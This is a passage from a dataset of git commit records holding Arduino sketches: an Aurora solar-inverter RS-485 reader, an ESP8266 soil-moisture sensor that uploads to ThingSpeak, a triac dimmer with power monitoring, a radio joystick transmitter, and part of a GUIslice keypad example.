Version.Par4 = F(\"Sconosciuto\");\n break;\n }\n\n return Version.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n float Valore;\n bool ReadState;\n } DataDSP;\n\n DataDSP DSP;\n\n bool ReadDSP(byte type, byte global) {\n if ((((int)type >= 1 && (int)type <= 9) || ((int)type >= 21 && (int)type <= 63)) && ((int)global >= 0 && (int)global <= 1)) {\n DSP.ReadState = Send(Address, (byte)59, type, global, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (DSP.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n }\n else {\n DSP.ReadState = false;\n clearReceiveData();\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n DSP.TransmissionState = ReceiveData[0];\n DSP.GlobalState = ReceiveData[1];\n\n foo.asBytes[0] = ReceiveData[5];\n foo.asBytes[1] = ReceiveData[4];\n foo.asBytes[2] = ReceiveData[3];\n foo.asBytes[3] = ReceiveData[2];\n\n DSP.Valore = foo.asFloat;\n\n return DSP.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n unsigned long Secondi;\n bool ReadState;\n } DataTimeDate;\n\n DataTimeDate TimeDate;\n\n bool ReadTimeDate() {\n TimeDate.ReadState = Send(Address, (byte)70, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (TimeDate.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n TimeDate.TransmissionState = ReceiveData[0];\n TimeDate.GlobalState = ReceiveData[1];\n TimeDate.Secondi = ((unsigned long)ReceiveData[2] << 24) + ((unsigned long)ReceiveData[3] << 16) + ((unsigned long)ReceiveData[4] << 8) + (unsigned long)ReceiveData[5];\n return TimeDate.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n byte Alarms1;\n byte Alarms2;\n byte Alarms3;\n byte Alarms4;\n bool ReadState;\n } DataLastFourAlarms;\n\n DataLastFourAlarms LastFourAlarms;\n\n bool ReadLastFourAlarms() {\n LastFourAlarms.ReadState = Send(Address, (byte)86, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (LastFourAlarms.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n ReceiveData[2] = 255;\n ReceiveData[3] = 255;\n ReceiveData[4] = 255;\n ReceiveData[5] = 255;\n }\n\n LastFourAlarms.TransmissionState = ReceiveData[0];\n LastFourAlarms.GlobalState = ReceiveData[1];\n LastFourAlarms.Alarms1 = ReceiveData[2];\n LastFourAlarms.Alarms2 = ReceiveData[3];\n LastFourAlarms.Alarms3 = ReceiveData[4];\n LastFourAlarms.Alarms4 = ReceiveData[5];\n\n return LastFourAlarms.ReadState;\n }\n\n bool ReadJunctionBoxState(byte nj) {\n return Send(Address, (byte)200, nj, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n bool ReadJunctionBoxVal(byte nj, byte par) {\n return Send(Address, (byte)201, nj, par, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n \/\/ Inverters\n typedef struct {\n String PN;\n bool ReadState;\n } DataSystemPN;\n\n DataSystemPN SystemPN;\n\n bool ReadSystemPN() {\n SystemPN.ReadState = Send(Address, (byte)52, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n SystemPN.PN = String(String((char)ReceiveData[0]) + String((char)ReceiveData[1]) + String((char)ReceiveData[2]) + String((char)ReceiveData[3]) + String((char)ReceiveData[4]) + String((char)ReceiveData[5]));\n\n return SystemPN.ReadState;\n }\n\n typedef struct {\n String SerialNumber;\n bool ReadState;\n } DataSystemSerialNumber;\n\n DataSystemSerialNumber SystemSerialNumber;\n\n bool ReadSystemSerialNumber() {\n SystemSerialNumber.ReadState = Send(Address, (byte)63, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n SystemSerialNumber.SerialNumber = String(String((char)ReceiveData[0]) + String((char)ReceiveData[1]) + String((char)ReceiveData[2]) + String((char)ReceiveData[3]) + String((char)ReceiveData[4]) + String((char)ReceiveData[5]));\n\n return SystemSerialNumber.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n String Week;\n String Year;\n bool ReadState;\n } DataManufacturingWeekYear;\n\n DataManufacturingWeekYear ManufacturingWeekYear;\n\n bool ReadManufacturingWeekYear() {\n ManufacturingWeekYear.ReadState = Send(Address, (byte)65, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (ManufacturingWeekYear.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n ManufacturingWeekYear.TransmissionState = ReceiveData[0];\n ManufacturingWeekYear.GlobalState = ReceiveData[1];\n ManufacturingWeekYear.Week = String(String((char)ReceiveData[2]) + String((char)ReceiveData[3]));\n ManufacturingWeekYear.Year = String(String((char)ReceiveData[4]) + String((char)ReceiveData[5]));\n\n return ManufacturingWeekYear.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n String Release;\n bool ReadState;\n } DataFirmwareRelease;\n\n DataFirmwareRelease FirmwareRelease;\n\n bool ReadFirmwareRelease() {\n FirmwareRelease.ReadState = Send(Address, (byte)72, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (FirmwareRelease.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n FirmwareRelease.TransmissionState = ReceiveData[0];\n FirmwareRelease.GlobalState = ReceiveData[1];\n FirmwareRelease.Release = String(String((char)ReceiveData[2]) + \".\" + String((char)ReceiveData[3]) + \".\" + String((char)ReceiveData[4]) + \".\" + String((char)ReceiveData[5]));\n\n return FirmwareRelease.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n unsigned long Energia;\n bool ReadState;\n } DataCumulatedEnergy;\n\n DataCumulatedEnergy CumulatedEnergy;\n\n bool ReadCumulatedEnergy(byte par) {\n if ((int)par >= 0 && (int)par <= 6) {\n CumulatedEnergy.ReadState = Send(Address, (byte)78, par, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (CumulatedEnergy.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n }\n else {\n CumulatedEnergy.ReadState = false;\n clearReceiveData();\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n CumulatedEnergy.TransmissionState = ReceiveData[0];\n CumulatedEnergy.GlobalState = ReceiveData[1];\n if (CumulatedEnergy.ReadState == true) {\n ulo.asBytes[0] = ReceiveData[5];\n ulo.asBytes[1] = ReceiveData[4];\n ulo.asBytes[2] = ReceiveData[3];\n ulo.asBytes[3] = ReceiveData[2];\n\n CumulatedEnergy.Energia = ulo.asUlong;\n }\n return CumulatedEnergy.ReadState;\n }\n\n bool WriteBaudRateSetting(byte baudcode) {\n if ((int)baudcode >= 0 && (int)baudcode <= 3) {\n return Send(Address, (byte)85, baudcode, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n else {\n clearReceiveData();\n return false;\n }\n }\n\n \/\/ Central\n bool ReadFlagsSwitchCentral() {\n return Send(Address, (byte)67, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n bool ReadCumulatedEnergyCentral(byte var, byte ndays_h, byte ndays_l, byte global) {\n return Send(Address, (byte)68, var, ndays_h, ndays_l, global, (byte)0, (byte)0);\n }\n\n bool ReadFirmwareReleaseCentral(byte var) {\n return Send(Address, (byte)72, var, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n bool ReadBaudRateSettingCentral(byte baudcode, byte serialline) {\n return Send(Address, (byte)85, baudcode, serialline, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n bool ReadSystemInfoCentral(byte var) {\n return Send(Address, (byte)101, var, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n bool ReadJunctionBoxMonitoringCentral(byte cf, byte rn, byte njt, byte jal, byte jah) {\n return Send(Address, (byte)103, cf, rn, njt, jal, jah, (byte)0);\n }\n\n bool ReadSystemPNCentral() {\n return Send(Address, (byte)105, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n bool ReadSystemSerialNumberCentral() {\n return Send(Address, (byte)107, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n }\n\n};\n\n\n\n\/\/======================================================\nclsAurora Invertermtt = clsAurora(2); \/\/aggiornare l'id dell'inverter\n\nvolatile double Irms = 0;\nbyte Menu = 0;\n\n\nThread LeggiProduzione = Thread();\n\/\/Thread ScriviDebug = Thread();\n\n\nString stampaDataTime(unsigned long scn)\n{\n String rtn;\n if (scn > 0) {\n setTime(0, 0, 0, 1, 1, 2000);\n if (timeStatus() == timeSet) {\n adjustTime(scn);\n\n rtn = String(day());\n rtn += String(F(\"\/\"));\n rtn += String(month());\n rtn += String(F(\"\/\"));\n rtn += String(year());\n rtn += String(F(\" \"));\n rtn += String(hour());\n rtn += String(F(\":\"));\n rtn += String(minute());\n rtn += String(F(\":\"));\n rtn += String(second());\n }\n }\n return rtn;\n}\n\n\nvoid LeggiProduzioneCallback(Menu) {\n switch (Menu)\n {\n case 0:\n Inverter2.ReadCumulatedEnergy(0);\n break;\n case 1:\n Inverter2.ReadTimeDate(); \n break;\n case 2:\n Inverter2.ReadLastFourAlarms(); \n break;\n case 3:\n Inverter2.ReadSystemPN(); \n break;\n case 4:\n Inverter2.ReadSystemSerialNumber(); \n break;\n case 5:\n Inverter2.ReadManufacturingWeekYear(); \n break;\n case 6:\n Inverter2.ReadFirmwareRelease(); \n break;\n case 7:\n Inverter2.ReadVersion(); \n break;\n case 8:\n Inverter2.ReadState(); \n break;\n default:\n break;\n }\n}\n\n\n\nvoid setup()\n{\n Serial.setTimeout(500);\n Serial.begin(19200);\n \n pinMode(SSerialTxControl, OUTPUT);\n digitalWrite(SSerialTxControl, RS485Receive); \/\/ Init Transceiver\n \n Serial.println(LeggiProduzioneCallback(0));\n delay(50);\n \n}\n\nvoid loop()\n{\n LeggiProduzione.run();\n yield();\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AuroraInverter3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"833c1bdd51c47b35971a3dffa24d75f6bc2e9e64","subject":"add src for sensor v2.1. Only work with new hardware sensor v2.1","message":"add src for sensor v2.1. Only work with new hardware sensor v2.1\n","repos":"AprilBrother\/esp-soil-moisture-sensor","old_file":"src\/esp-soil-moisture-sensor-v2.1\/esp-soil-moisture-sensor-v2.1.ino","new_file":"src\/esp-soil-moisture-sensor-v2.1\/esp-soil-moisture-sensor-v2.1.ino","new_contents":"#include <ESP8266WiFi.h>\n\nString apiKey =\"<YOUR-API-KEY>\";\nconst char* MY_SSID = \"<YOUR-SSID>\"; \nconst char* MY_PWD = \"<YOUR-PASSWORD>\";\n\nconst int pin_clk = 5;\nconst int pin_soil = A0; \nconst int pin_led = 7;\nconst char* server = \"api.thingspeak.com\";\n\nint sent = 0;\n\n#define SLEEP_TIME 1200 * 1000 * 1000\n\nvoid setup() {\n Serial.begin(115200);\n \n pinMode(pin_clk, OUTPUT);\n pinMode(pin_soil, INPUT);\n pinMode(pin_led, OUTPUT);\n digitalWrite(pin_led, LOW);\n \n analogWriteFreq(40000);\n analogWrite(pin_clk, 400);\n delay(500);\n connectWifi();\n}\n\nvoid loop() {\n \/\/char buffer[10];\n digitalWrite(pin_led, HIGH);\n delay(500);\n digitalWrite(pin_led, LOW);\n float hum=0,temp=0,soil_hum=0;\n Serial.println(\"Requesting Temperature...\");\n \n \/\/ Read temperature as Celsius (the default)\n \/\/ TODO\n temp = 25;\n\n delay(1000);\n soil_hum = readSoilVal(8);\n Serial.print(\"Soil_Humidity:\");\n Serial.println(soil_hum);\n delay(1000);\n \n sendData(temp, soil_hum);\n \/\/ESP.deepSleep(SLEEP_TIME, WAKE_RF_DEFAULT);\n}\n\nvoid connectWifi()\n{\n Serial.print(\"Connecting to \" + *MY_SSID);\n WiFi.begin(MY_SSID, MY_PWD);\n while (WiFi.status() != WL_CONNECTED) {\n delay(1000);\n Serial.print(\".\");\n }\n \n Serial.println(\"\");\n Serial.println(\"Connected\");\n Serial.println(\"\"); \n}\/\/end connect\n\n\/\/ Get average value\nfloat readSoilVal(int n) {\n float valtemp = 0;\n float ValBuf[n];\n int i = 0;\n int j = 0;\n\n for(i=0;i<n;i++){\n ValBuf[i] = analogRead(pin_soil); \n }\n\n for(i=0;i<n-1;i++){\n for(j=i+1;j<n;j++){\n if(ValBuf[i]>ValBuf[j]){\n valtemp = ValBuf[i];\n ValBuf[i] = ValBuf[j];\n ValBuf[j] = valtemp;\n }\n }\n }\n\n valtemp = 0;\n for(i=1;i<n-1;i++){\n valtemp+=ValBuf[i];\n }\n valtemp\/=(n-2);\n return valtemp;\n}\n\n\nvoid sendData(float temp,float soil_hum) { \n WiFiClient client;\n \n if (client.connect(server, 80)) { \/\/ use ip 184.106.153.149 or api.thingspeak.com\n Serial.println(\"WiFi Client connected \");\n \n String postStr = apiKey;\n postStr += \"&field1=0&field2=\";\n postStr += String(temp);\n postStr += \"&field3=\";\n postStr += String(soil_hum);\n postStr += \"\\r\\n\\r\\n\";\n \n client.print(\"POST \/update HTTP\/1.1\\n\");\n client.print(\"Host: api.thingspeak.com\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"X-THINGSPEAKAPIKEY: \" + apiKey + \"\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(postStr.length());\n client.print(\"\\n\\n\");\n client.print(postStr);\n delay(1000);\n \n }\/\/end if\n sent++;\n client.stop();\n}\/\/end send\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/esp-soil-moisture-sensor-v2.1\/esp-soil-moisture-sensor-v2.1.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8f9c407883224bb03e964eed8a91bb47612dc206","subject":"run bah","message":"run bah\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5655114ed9ec5377777686035cdcb8ece49686de","subject":"Main File","message":"Main File","repos":"jiyojolly\/EmonLib","old_file":"firmware\/jiyocorefinal.ino","new_file":"firmware\/jiyocorefinal.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include <SparkIntervalTimer.h>\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include <EmonLib_98b0.h>\n\nvolatile int i=0; \/\/ Variable to use as a counter\nvolatile boolean zero_cross=0; \/\/ Boolean to store a \"switch\" to tell us if we have crossed zero\nint AC_pin = D6; \/\/ Output to Opto Triac\nint dim = 128; \/\/ Dimming level (0-128) 0 = on, 128 = 0ff\nint inc=1; \/\/ counting up or down, 1=up, -1=down\nint freqStep = 75; \/\/ This is the delay-per-brightness step in microseconds.\n\n\n\ndouble realPower; \ndouble apparentPower; \ndouble powerFactor; \ndouble supplyVoltage; \ndouble Irms;\n\n\nIntervalTimer myTimer;\nEnergyMonitor emon1; \n\n\nint dimmer(String command);\nvoid zero_cross_detect(void);\nvoid dim_check(void);\n\nvoid setup()\n\n{ \n \n \n emon1.voltage(0, 263.415, 12.398); \/\/ Voltage: input pin, calibration, phase_shift\n emon1.current(1, .312); \/\/ Current: input pin, calibration.\n \/\/SPARK VARIABLES\n Spark.variable(\"currpow\", &dim, INT); \/\/CHECK CURRENT POWER LEVEL\n Spark.variable(\"rpower\", &realPower, DOUBLE);\n Spark.variable(\"apower\", &apparentPower, DOUBLE);\n Spark.variable(\"pfactor\", &powerFactor, DOUBLE);\n Spark.variable(\"Vin\", &supplyVoltage, DOUBLE);\n Spark.variable(\"Iin\", &Irms, DOUBLE);\n \/\/SPARK FUNCTIONS\n Spark.function(\"powlevel\", dimmer); \/\/SET REQUIRED POWERLEVEL\n \n pinMode(D0,INPUT); \/\/SET INTERRUPT PIN\n pinMode(AC_pin, OUTPUT); \/\/ Set the Triac pin as output\n \n attachInterrupt(D0, zero_cross_detect, RISING); \/\/ Attach an Interupt to Pin 0) for Zero Cross Detection\n myTimer.begin(dim_check, freqStep, uSec); \n \n}\n\n\n\n\nvoid measure()\n{\n emon1.calcVI(20,2000); \/\/ Calculate all. No.of half wavelengths (crossings), time-out\n emon1.serialprint();\n realPower = emon1.realPower; \/\/extract Real Power into variable\n apparentPower = emon1.apparentPower; \/\/extract Apparent Power into variable\n powerFactor = emon1.powerFactor; \/\/extract Power Factor into Variable\n supplyVoltage = emon1.Vrms; \/\/extract Vrms into Variable\n Irms = emon1.Irms; \/\/extract Irms into Variable\n} \n\nvoid zero_cross_detect() { \n zero_cross = true; \/\/ set the boolean to true to tell our dimming function that a zero cross has occured\n i=0;\n digitalWrite(AC_pin, LOW); \/\/ turn off TRIAC (and AC)\n} \n\nvoid dim_check() { \n if(zero_cross == true) { \n if(i>=dim) { \n digitalWrite(AC_pin, HIGH); \/\/ turn on light \n i=0; \/\/ reset time step counter \n zero_cross = false; \/\/reset zero cross detection\n } \n else {\n i++; \/\/ increment time step counter \n } \n } \n} \n\nint dimmer(String command) \/\/SPARK FUNCTION DEFINITION\n{ \n int x;\n x=command.toInt();\n dim=128-x;\n return dim;\/\/for checking power level set \n\n}\n\nvoid loop()\n{\n \n \n if(dim<128)\n {\n measure();\n \n }\n \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/jiyocorefinal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80d5577ec50ed26eef268ece6504a95bb2ea722e","subject":"SerialDemo","message":"SerialDemo\n\nSigned-off-by: eggfly <8fdee70a717c450a70da61cd9ccac783a32c73c6@gmail.com>\n","repos":"eggfly\/arduino_projects,eggfly\/arduino_projects,eggfly\/arduino_projects,eggfly\/arduino_projects","old_file":"SerialDemo\/SerialDemo.ino","new_file":"SerialDemo\/SerialDemo.ino","new_contents":"int inByte = 0; \/\/ incoming serial byte\n\nvoid setup()\n{\n \/\/ start serial port at 9600 bps and wait for port to open:\n \/\/ Serial.begin(9600);\n \/\/ 115200 \/ 10 = 11520 = 11.52KB\/s\n Serial.begin(300);\n while (!Serial) {\n }\n Serial.println(\"initialised!\");\n}\n\nvoid loop()\n{\n int sum = 0;\n for (int i = 0; i < 256; i++){\n Serial.print(\"b\");\n }\n sum += 256;\n Serial.println();\n Serial.println(sum);\n\/*\n \/\/ if we get a valid byte, read analog ins:\n if (Serial.available() > 0) {\n \/\/ get incoming byte:\n inByte = Serial.read();\n Serial.println(inByte);\n }\n*\/\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialDemo\/SerialDemo.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ac9fbda27ddfcf4e1f73f4cce991e88405c0a5d5","subject":"Bug fix for incorrect door sensor logic","message":"Bug fix for incorrect door sensor logic\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"76179309239bd8edd72fc63c1b00e7e6465ccde6","subject":"Folder structure","message":"Folder structure\n","repos":"hoilett\/Bit-the-RoboDawg","old_file":"BitRadioTransmit\/BitRadioTransmit.ino","new_file":"BitRadioTransmit\/BitRadioTransmit.ino","new_contents":"#include <SPI.h>\n#include <nRF24L01.h>\n#include <RF24.h>\n#include <RF24_config.h>\n\n\n\/\/JOYSTICK\nconst int SW_pin = 2; \/\/Digital pin connected to switch input\nconst int X_pin = A0; \/\/Analog pin connected to X output\nconst int Y_pin = A1; \/\/Analog pin connecte to Y output\nint x_joy; \/\/Joystick X Output\nint y_joy; \/\/Joystick Y Output\nint sw_joy; \/\/Joystick SW Output\n\n\/*\nThis sketch sends a string to a corresponding Arduino\nwith nrf24 attached. It appends a specific value \n(2 in this case) to the end to signify the end of the\nmessage.\n*\/\n\nint msg[3];\nRF24 radio(9,10);\nconst uint64_t pipe = 0xE8E8F0F0E1LL;\n\nvoid setup(void)\n{\n Serial.begin(9600); \/\/Begin serial\n radio.begin(); \/\/Begin radio\n radio.openWritingPipe(pipe); \/\/Open pipe\n pinMode(SW_pin, INPUT); \/\/Set SW pin as input\n digitalWrite(SW_pin, HIGH);\n}\n\nvoid loop(void)\n{\n x_joy = analogRead(X_pin);\n y_joy = analogRead(Y_pin);\n sw_joy = digitalRead(SW_pin);\n msg[0] = sw_joy;\n msg[1] = x_joy;\n msg[2] = y_joy;\n radio.write(msg,1);\n\/*delay sending for a short period of time. radio.powerDown()\/radio.powerupp\n\/\/with a delay in between have worked well for this purpose(just using delay seems to\n\/\/interrupt the transmission start). However, this method could still be improved\nas I still get the first character 'cut-off' sometimes. I have a 'checksum' function\non the receiver to verify the message was successfully sent.\n*\/\n radio.powerDown(); \n delay(1000);\n radio.powerUp();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BitRadioTransmit\/BitRadioTransmit.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aaffb11a2ff12e925ba45c8dd7ac8632bed39522","subject":"Add M5stack example (keypad)","message":"Add M5stack example (keypad)\n","repos":"ImpulseAdventure\/GUIslice,ImpulseAdventure\/GUIslice","old_file":"examples\/m5stack\/ex27_m5_alpha\/ex27_m5_alpha.ino","new_file":"examples\/m5stack\/ex27_m5_alpha\/ex27_m5_alpha.ino","new_contents":"\/\/\n\/\/ GUIslice Library Example\n\/\/ - Calvin Hass\n\/\/ - https:\/\/www.impulseadventure.com\/elec\/guislice-gui.html\n\/\/ - https:\/\/github.com\/ImpulseAdventure\/GUIslice\n\/\/ - Example 27 (M5stack):\n\/\/ - Keypad input as popup for text entry\n\/\/ - Use of EXTRA Fonts \n\/\/ - NOTE: This is the simple version of the example without\n\/\/ optimizing for memory consumption. A \"minimal\"\n\/\/ version is located in the \"arduino_min\" folder which includes\n\/\/ FLASH memory optimization for reduced memory devices.\n\/\/\n\/\/ MODS from ex27_ard_alpha:\n\/\/ - Add button input controls (see notes under Button control)\n\/\/ - Removed EXTRA FONTS\n\/\/\n\/\/ ARDUINO NOTES:\n\/\/ - GUIslice_config.h must be edited to match the pinout connections\n\/\/ between the Arduino CPU and the display controller (see ADAGFX_PIN_*).\n\/\/\n\n#include \"GUIslice.h\"\n#include \"GUIslice_drv.h\"\n\n\n#include \"elem\/XKeyPad_Alpha.h\"\n\n\/*\n\/\/ ------------------------------------------------\n\/\/ Load specific fonts\n\/\/ ------------------------------------------------\n\n\/\/ To demonstrate additional fonts, uncomment the following line:\n\/\/#define USE_EXTRA_FONTS\n\n\/\/ Different display drivers provide different fonts, so a few examples\n\/\/ have been provided and selected here. Font files are usually\n\/\/ located within the display library folder or fonts subfolder.\n#ifdef USE_EXTRA_FONTS\n #if defined(DRV_DISP_TFT_ESPI) \/\/ TFT_eSPI\n #include <TFT_eSPI.h>\n #define FONT_NAME1 &FreeSansBold12pt7b\n #elif defined(DRV_DISP_ADAGFX_ILI9341_T3) \/\/ Teensy\n #include <font_Arial.h>\n #define FONT_NAME1 &Arial_12\n #define SET_FONT_MODE1 \/\/ Enable Teensy extra fonts\n #else \/\/ Arduino, etc.\n #include <Adafruit_GFX.h>\n #include \"Fonts\/FreeSansBold12pt7b.h\"\n #define FONT_NAME1 &FreeSansBold12pt7b\n #endif\n#else\n \/\/ Use the default font\n #define FONT_NAME1 NULL\n#endif\n\/\/ ------------------------------------------------\n*\/\n\n\n\/\/ Ensure config settings are correct for the sketch\n#if !defined(DRV_DISP_M5STACK) || !defined(DRV_TOUCH_M5STACK) || !(GSLC_FEATURE_INPUT)\n #warning \"This sketch requires config: #define DRV_TOUCH_M5TACK, #define DRV_TOUCH_M5STACK, #define GSLC_FEATURE_INPUT 1\"\n#endif\n\n\/\/ ------------------------------------------------\n\/\/ Defines for resources\n\/\/ ------------------------------------------------\n\/\/<Resources !Start!>\n\/\/<Resources !End!>\n\n\/\/ ------------------------------------------------\n\/\/ Enumerations for pages, elements, fonts, images\n\/\/ ------------------------------------------------\n\/\/<Enum !Start!>\nenum { E_PG_MAIN, E_POP_KEYPAD };\nenum {\n E_BOX1,\n E_TXT_VAL1, E_ELEM_KEYPAD\n};\nenum { E_FONT_SANS2, E_FONT_TXT1, MAX_FONT }; \/\/ Use separate enum for fonts, MAX_FONT at end\n\/\/<Enum !End!>\n\n\/\/ ------------------------------------------------\n\/\/ Instantiate the GUI\n\/\/ ------------------------------------------------\n\n\/\/ Define the maximum number of elements per page\n\/\/<ElementDefines !Start!>\n#define MAX_PAGE 2\n#define MAX_ELEM_PG_MAIN 3\n#define MAX_ELEM_PG_MAIN_RAM MAX_ELEM_PG_MAIN\n#define MAX_ELEM_POP_KEYPAD 1\n#define MAX_ELEM_POP_KEYPAD_RAM MAX_ELEM_POP_KEYPAD\n\/\/<ElementDefines !End!>\n\n\/\/ GUI Elements\ngslc_tsGui m_gui;\ngslc_tsDriver m_drv;\ngslc_tsFont m_asFont[MAX_FONT];\ngslc_tsPage m_asPage[MAX_PAGE];\n\n\/\/<GUI_Extra_Elements !Start!>\ngslc_tsElem m_asPage1Elem[MAX_ELEM_PG_MAIN_RAM];\ngslc_tsElemRef m_asPage1ElemRef[MAX_ELEM_PG_MAIN];\ngslc_tsElem m_asPopKeypadElem[MAX_ELEM_POP_KEYPAD_RAM];\ngslc_tsElemRef m_asPopKeypadElemRef[MAX_ELEM_POP_KEYPAD];\n\ngslc_tsXKeyPad m_sKeyPadAlpha; \/\/ Keypad \n\n\/\/<GUI_Extra_Elements !End!>\n\n\/\/ Pin mapping table\n#define MAX_INPUT_MAP 4\ngslc_tsInputMap m_asInputMap[MAX_INPUT_MAP];\n\n\/\/ ------------------------------------------------\n\/\/ Save some element references for update loop access\n\/\/ ------------------------------------------------\n\/\/<Save_References !Start!>\ngslc_tsElemRef* m_pElemVal1 = NULL;\ngslc_tsElemRef* m_pElemKeyPad = NULL;\n\/\/<Save_References !End!>\n\n\n\/\/ ------------------------------------------------\n\/\/ Program Globals\n\/\/ ------------------------------------------------\n\n\/\/ Define debug message function\nstatic int16_t DebugOut(char ch) { if (ch == (char)'\\n') Serial.println(\"\"); else Serial.write(ch); return 0; }\n\n\/\/ ------------------------------------------------\n\/\/ Callback Methods\n\/\/ ------------------------------------------------\n\/\/ Common Button callback\nbool CbBtnCommon(void* pvGui, void *pvElemRef, gslc_teTouch eTouch, int16_t nX, int16_t nY)\n{\n gslc_tsElemRef* pElemRef = (gslc_tsElemRef*)(pvElemRef);\n gslc_tsGui* pGui = (gslc_tsGui*)pvGui;\n gslc_tsElem* pElem = gslc_GetElemFromRef(pGui,pElemRef);\n\n\n if (eTouch == GSLC_TOUCH_UP_IN) {\n \/\/ From the element's ID we can determine which button was pressed.\n switch (pElem->nId) {\n \/\/<Button Enums !Start!>\n case E_TXT_VAL1:\n \/\/ Clicked on edit field, so show popup box and associate with this text field\n gslc_ElemXKeyPadInputAsk(pGui, m_pElemKeyPad, E_POP_KEYPAD, m_pElemVal1);\n break;\n \/\/<Button Enums !End!>\n default:\n break;\n }\n }\n return true;\n}\n\n\/*\n\/\/ Pin Input polling callback function\nbool CbPinPoll(void* pvGui, int16_t* pnPinInd, int16_t* pnPinVal)\n{\n \/\/ Sample all pin inputs\n btn_prev.read();\n btn_sel.read();\n btn_next.read();\n\n \/\/ Determine if any pin edge events occur\n \/\/ - If multiple pin events occur, they will be handled in consecutive CbPinPoll() calls\n if (btn_prev.wasPressed()) { *pnPinInd = PIN_PREV; *pnPinVal = 1; }\n else if (btn_prev.wasReleased()) { *pnPinInd = PIN_PREV; *pnPinVal = 0; }\n else if (btn_sel.wasPressed()) { *pnPinInd = PIN_SEL; *pnPinVal = 1; }\n else if (btn_sel.wasReleased()) { *pnPinInd = PIN_SEL; *pnPinVal = 0; }\n else if (btn_next.wasPressed()) { *pnPinInd = PIN_NEXT; *pnPinVal = 1; }\n else if (btn_next.wasReleased()) { *pnPinInd = PIN_NEXT; *pnPinVal = 0; }\n else return false; \/\/ No pin event detected\n\n \/\/ If we reach here, then a pin event was detected\n return true;\n}\n*\/\n\n\/\/ KeyPad Input Ready callback\nbool CbInputCommon(void* pvGui, void *pvElemRef, int16_t nState, void* pvData)\n{\n gslc_tsElemRef* pElemRef = (gslc_tsElemRef*)(pvElemRef);\n gslc_tsGui* pGui = (gslc_tsGui*)pvGui;\n gslc_tsElem* pElem = gslc_GetElemFromRef(pGui,pElemRef);\n\n \/\/ From the element's ID we can determine which element is ready.\n if (pElem->nId == E_ELEM_KEYPAD) {\n int16_t nTargetElemId = gslc_ElemXKeyPadDataTargetIdGet(pGui, pvData);\n switch (nState) {\n case XKEYPAD_CB_STATE_DONE:\n \/\/ User clicked on Enter to leave popup\n \/\/ 